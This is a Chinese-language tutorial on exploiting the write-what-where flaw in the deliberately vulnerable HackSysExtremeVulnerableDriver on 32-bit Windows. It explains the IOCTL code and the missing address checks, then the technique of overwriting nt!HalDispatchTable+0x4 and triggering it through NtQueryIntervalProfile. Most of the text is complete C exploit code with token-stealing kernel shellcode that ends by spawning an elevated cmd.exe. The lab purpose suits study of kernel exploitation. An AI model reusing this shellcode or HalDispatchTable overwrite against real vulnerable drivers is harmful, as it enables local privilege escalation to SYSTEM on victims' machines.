驱动分析
首先仍然是打开IDA分析,
任意写函数
首先计算IO_CODE
#define HEVD_IOCTL_ARBITRARY_WRITE IOCTL(0x802)
hex((0x00000022 << 16) | (0x00000000 << 14) | (0x802 << 2) | 0x00000003) = 0x22200b
由第二部分已经知道了
LINK_NAME = L\DosDevices\HackSysExtremeVulnerableD
现在就已经拿到了,符号链接名和控制码
bug分析
IDA
源码:
并没有验证该空间是否是内核还是用户空间,也没有验证该页是否可读是否可写
而且要注意,what,where分别占4字节
漏洞利用
还是用上次的代码,做测试先
测试
int main() {
printf("[+] calling createFile() to obtain a handle to the driver..\n");
HANDLE hDevice = CreateFile(LINK_NAME, 0xC0000000, 0, NULL, 0x3, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Error - Unable to obtain a handle to the driver..\n");
exit(1);
}
printf("[+] Successfully obtained a handle to the driver. .\n");
/*
LPVOID alloc = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);//申请shellcode个大小为下面存放shellcode
if (!alloc) {
printf("[-] ERROR - unable to allocate space for shellcode\n");
exit(1);
}
RtlMoveMemory(alloc, shellcode, sizeof(shellcode));
*/
printf("[+] now cpoy shellcode to the executable memory region...\n");
// Declane 'bytesRetn' variable for'DeviceIocontrol -> lpBytesReturned' parameter
DWORD bytesRetn;
// set 'expl' variable to match the buffer size specified in analysis (0x800 or 2048 decimal) plus 0x100
char exp1[100];//
//size_t offset = 2080 ;
memset(exp1, 'A', sizeof(exp1));
//memcpy(&exp1[offset], &alloc, 0x4);//返回地址写入到shellcode起始地址
printf("[+]starting interaction with the driver..\n");
DeviceIoControl(hDevice, IO_CODE, exp1, sizeof(exp1), NULL, 0, &bytesRetn, NULL);
//system("cmd.exe");
CloseHandle(hDevice);
return 0;
}
可以看到工占8个字节,what,where分别占4个
而且已经控制了两个指针,如果这个时候where是一个可执行的或待执行的地址(指向内核中的),而且what是shellcode地址,这样在执行的时候就会执行shellcode,
可以考虑覆盖内核调度表中的指针,这样不会崩溃
- 1.SSDT (System Service Descriptor Table) nt!KeServiceDescriptorTable存储系统调用的地址;内核使用它来调度系统调用。
- 2.HAL 调度表nt!HalDispatchTable。HAL(硬件抽象层)用于将操作系统与硬件隔离。基本上,它允许在具有不同硬件的机器上运行相同的操作系统。此表存储指向
HAL 使用的例程的指针。
第一步找到可用地址
内核中有一个很少使用的函数NtQueryIntervalProfile(是ntdll.dll 导出的一个未记录的系统调用,用于检索当前设置的性能计数器滴答之间的延迟),它调用另一个函数KeQueryIntervalProfile,它再次调用HalDispatchTable+0x4。
因此,完成了对位于地址nt!HalDispatchTable+0x4的例程的调用(见红色框)。因此,如果我们用我们的 shellcode 的地址覆盖那个地址的指针——也就是指向 HalDispatchTable 的第二个指针;然后如果我们调用函数NtQueryIntervalProfile(),我们的 shellcode 就会被执行(具体细节参考0day 那本书第22章)
也就是
what = shellcode 的地址,
where= nt!HalDispatchTable+0x4的地址
获取HalDispatchTable偏移
现在要做的就是获取NtQueryIntervalProfile,HalDispatchTable函数偏移
首先是检索系统中的每个设备驱动程序的加载地址,然后指定名称,确定ntkrnlpa.exe在内核模式的基地址,然后使用getprocaddress()获取halDispathchTable的地址
然后就是将what->where
what = (PVOID)&alloc;
where = (PVOID*)hal_offset_4;
WRITE_WHAT_WHERE exploit;
exploit.What = (PULONG_PTR)what;
exploit.Where = (PULONG_PTR)where;
然后就是通过设备控制发送过去
DeviceIoControl(hDevice, IO_CODE, &exploit, sizeof(exploit), NULL, 0, &bytesRetn, NULL);//第一次交互,将地址改掉,然后调用NtQueryIntervalProfile进行触发
最后就是执行NtQueryIntervalProfile()触发
参考链接
https://rootkits.xyz/blog/2017/09/kernel-write-what-where/
总体代码:
#include<stdio.h>
#include<Windows.h>
#include<Psapi.h>
#include<profileapi.h>
#include<stdlib.h>
#define LINK_NAME L"\\\\.\\HackSysExtremeVulnerableDriver"
// set Io_CODE for the stack overflow vulnerability
#define IO_CODE 0x22200B
//窃取token
char shellcode[] = {
"\x90\x90\x90\x90" // NOP Sled
"\x60" // pushad
"\x31\xc0" // xor eax,eax
"\x64\x8b\x80\x24\x01\x00\x00" // mov eax,[fs:eax + 0x124]
"\x8b\x40\x50" // mov eax,[eax + 0x50]
"\x89\xc1" // mov ecx,eax
"\xba\x04\x00\x00\x00" // mov edx,0x4
"\x8b\x80\xb8\x00\x00\x00" // mov eax,[eax + 0xb8]
"\x2d\xb8\x00\x00\x00" // sub eax,0xb8
"\x39\x90\xb4\x00\x00\x00" // cmp[eax + 0xb4],edx
"\x75\xed" // jnz 0x1a
"\x8b\x90\xf8\x00\x00\x00" // mov edx,[eax + 0xf8]
"\x89\x91\xf8\x00\x00\x00" // mov[ecx + 0xf8],edx
"\x61" // popad
"\x31\xc0" // xor eax,eax
"\x83\xc4\x24" // add esp,byte + 0x24
"\x5d" // pop ebp
"\xc2\x08\x00" // ret 0x8
};
typedef struct _WRITE_WHAT_WHERE
{
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
typedef ULONG(__stdcall *NtQueryIntervalProfile_t) (ULONG, PULONG);
//typedef NTSTATUS (WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource,OUT PULONG Interval);
//typedef NTSTATUS(WINAPI* _NtQueryIntervalProfile)(DWORD ProfileSource, PULONG Interval);
LPVOID NtkrnlpaBase()
{
LPVOID lpImageBase[1024];
DWORD lpcbNeeded;
TCHAR lpfileName[1024];
//Retrieves the load address for each device driver in the system
EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
for (int i = 0; i < 1024; i++)
{
//检索指定设备驱动程序的基本名称
GetDeviceDriverBaseNameA(lpImageBase[i],(LPSTR)lpfileName,48);
if (!strcmp((CHAR*)lpfileName, "ntkrnlpa.exe"))
{
printf("[+]success to get %s\n", lpfileName);
return lpImageBase[i];
}
}
return NULL;
}
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)& si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
int main() {
printf("[+] calling createFile() to obtain a handle to the driver..\n");
HANDLE hDevice = CreateFile(LINK_NAME, 0xC0000000, 0, NULL, 0x3, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Error - Unable to obtain a handle to the driver..\n");
exit(1);
}
printf("[+] Successfully obtained a handle to the driver. .\n");
LPVOID alloc = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);//申请shellcode个大小为下面存放shellcode
if (!alloc) {
printf("[-] ERROR - unable to allocate space for shellcode\n");
exit(1);
}
RtlMoveMemory(alloc, shellcode, sizeof(shellcode));
printf("shellcode address is 0x%p\n", alloc);
printf("[+] now cpoy shellcode to the executable memory region...\n");
HMODULE hUserSpaceBase = LoadLibrary(L"ntkrnlpa.exe");
PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, "HalDispatchTable");
LPVOID pNtkrnlpaBase = NtkrnlpaBase();
printf("ntkrnlpa base address is 0x%p\n", pNtkrnlpaBase);
DWORD32 hal_offset_4 = (DWORD32)pNtkrnlpaBase + ((DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase) + 0x4;
printf("hal_4 offset is 0x%x\n", hal_offset_4);//0x83f693fc
//system("pause");
PVOID what;
PVOID where;
what = (PVOID)&alloc;
where = (PVOID*)hal_offset_4;
WRITE_WHAT_WHERE exploit;
exploit.What = (PULONG_PTR)what;
exploit.Where = (PULONG_PTR)where;
printf("exploit.where offset is 0x%x\n", where);//0x83f693fc
DWORD bytesRetn;
DWORD interVal = 0;
printf("[+]starting interaction with the driver..\n");
DeviceIoControl(hDevice, IO_CODE, &exploit, sizeof(exploit), NULL, 0, &bytesRetn, NULL);//第一次交互,将地址改掉,然后调用NtQueryIntervalProfile进行触发
NtQueryIntervalProfile_t NtQueryIntervalProfile =(NtQueryIntervalProfile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryIntervalProfile");
printf("[+]NtQueryIntervalProfile address is 0x%x\n", NtQueryIntervalProfile);
NtQueryIntervalProfile(0x1337, &interVal);
printf("[+]Start to Create cmd...\n");
CreateCmd();
system("pause");
CloseHandle(hDevice);
return 0;
}